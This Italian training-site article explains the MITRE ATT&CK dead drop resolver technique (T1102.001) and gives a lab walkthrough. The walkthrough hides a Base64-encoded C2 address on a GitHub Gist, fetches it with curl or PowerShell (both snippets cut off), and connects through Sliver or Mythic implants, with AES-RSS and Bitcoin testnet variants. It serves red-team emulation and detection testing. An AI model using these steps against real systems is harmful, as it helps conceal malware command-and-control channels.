Iscriviti al webinar gratuito del 12 Maggio per diventare Forensic Analyst! Scopri di più
Corso Ethical Hacker: accedi alla promozione fino al 30 Aprile! Scopri di più
Dead Drop Resolver: Web Service – Dead Drop Resolver (T1102.001)
Un dead drop resolver è un meccanismo attraverso cui un malware, anziché contattare direttamente un server C2, interroga un servizio web legittimo — un post su Pastebin, un commento su YouTube, una pagina GitHub — per recuperare l'indirizzo del vero nodo di comando e controllo. Il concetto richiama la "buca delle lettere" dello spionaggio tradizionale: l'intermediario è pubblico e insospettabile, il contenuto è codificato e comprensibile solo a chi sa dove guardare.
La tecnica appartiene alla tattica Command and Control (TA0011), la fase in cui l'avversario stabilisce e mantiene il canale di comunicazione con i sistemi compromessi. L'efficacia del dead drop resolver risiede in tre vantaggi strutturali: il traffico verso piattaforme come Google Docs, GitHub o Twitter si confonde con la navigazione legittima; la crittografia TLS offerta nativamente da questi servizi impedisce l'ispezione del contenuto a livello di rete; l'infrastruttura C2 reale resta nascosta dall'analisi statica del binario, perché l'indirizzo non è hardcoded ma risolto dinamicamente.
I numeri del dataset confermano la popolarità della tecnica: 6 gruppi APT, 15 famiglie di malware, 2 campagne documentate e 2 mitigazioni riconosciute. Dai banking trojan sudamericani ai backdoor di gruppi state-sponsored, il dead drop resolver è un pattern trasversale che colpisce infrastrutture governative, supply chain software e settore finanziario.
Il modo più efficace per testare la resilienza di un'organizzazione contro il dead drop resolver è costruire un flusso completo: pubblicare un indirizzo C2 offuscato su un servizio legittimo, poi far sì che un agente lo recuperi e stabilisca la connessione. L'intero esercizio si svolge in laboratorio con infrastruttura controllata.
Fase 1 — Preparare il dead drop. Crea un GitHub Gist (o un repository privato che simuli un servizio pubblico) contenente l'IP del tuo server C2 codificato in Base64. Un esempio banale ma rappresentativo: il contenuto del Gist è MARKER_START|MTkyLjE2OC4xLjEwMDo0NDM=|MARKER_END, dove la stringa Base64 decodificata restituisce l'indirizzo del listener. Questa struttura con marker delimitatori replica il comportamento di BLACKCOFFEE, che nascondeva tag encoded nelle pagine di Microsoft TechNet, e di Patchwork, che inseriva commenti Base64 in siti legittimi.
Fase 2 — Costruire il resolver lato agente. Su una macchina Linux di test, un semplice script Bash emula la logica del malware:
curl -s
Lo script scarica la pagina, estrae il contenuto tra i marker e decodifica l'IP. Per un esercizio più realistico, puoi usare PowerShell su Windows:
$page = Invoke-WebRequest -Uri "
Fase 3 — Connessione al C2. Una volta estratto l'indirizzo, l'agente apre una sessione verso il listener. Con Sliver (open source) puoi generare un implant che accetti l'IP come parametro runtime, simulando la risoluzione dinamica. In alternativa, Mythic (open source) supporta profili C2 personalizzabili in cui il primo stage recupera la configurazione da un servizio esterno.
Varianti da testare. Per simulare il comportamento di RTM, che usava feed RSS su Livejournal con nomi C2 cifrati, puoi cifrare l'indirizzo con AES e inserirlo in un feed RSS locale servito da un web server Python. Lo script agente scarica il feed, decifra il campo con la chiave embedded e si connette. Questa variante testa la capacità del SOC di rilevare pattern di accesso a feed RSS seguiti da connessioni outbound verso IP nuovi.
Per replicare lo scenario blockchain di RTM (che nascondeva IP C2 in transazioni Bitcoin e Namecoin), puoi inserire l'indirizzo C2 codificato nel campo OP_RETURN di una transazione su una testnet Bitcoin, poi far sì che l'agente interroghi un block explorer per recuperarlo.
Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?
Scarica la guida gratuita e segui il percorso corretto fin dal primo passo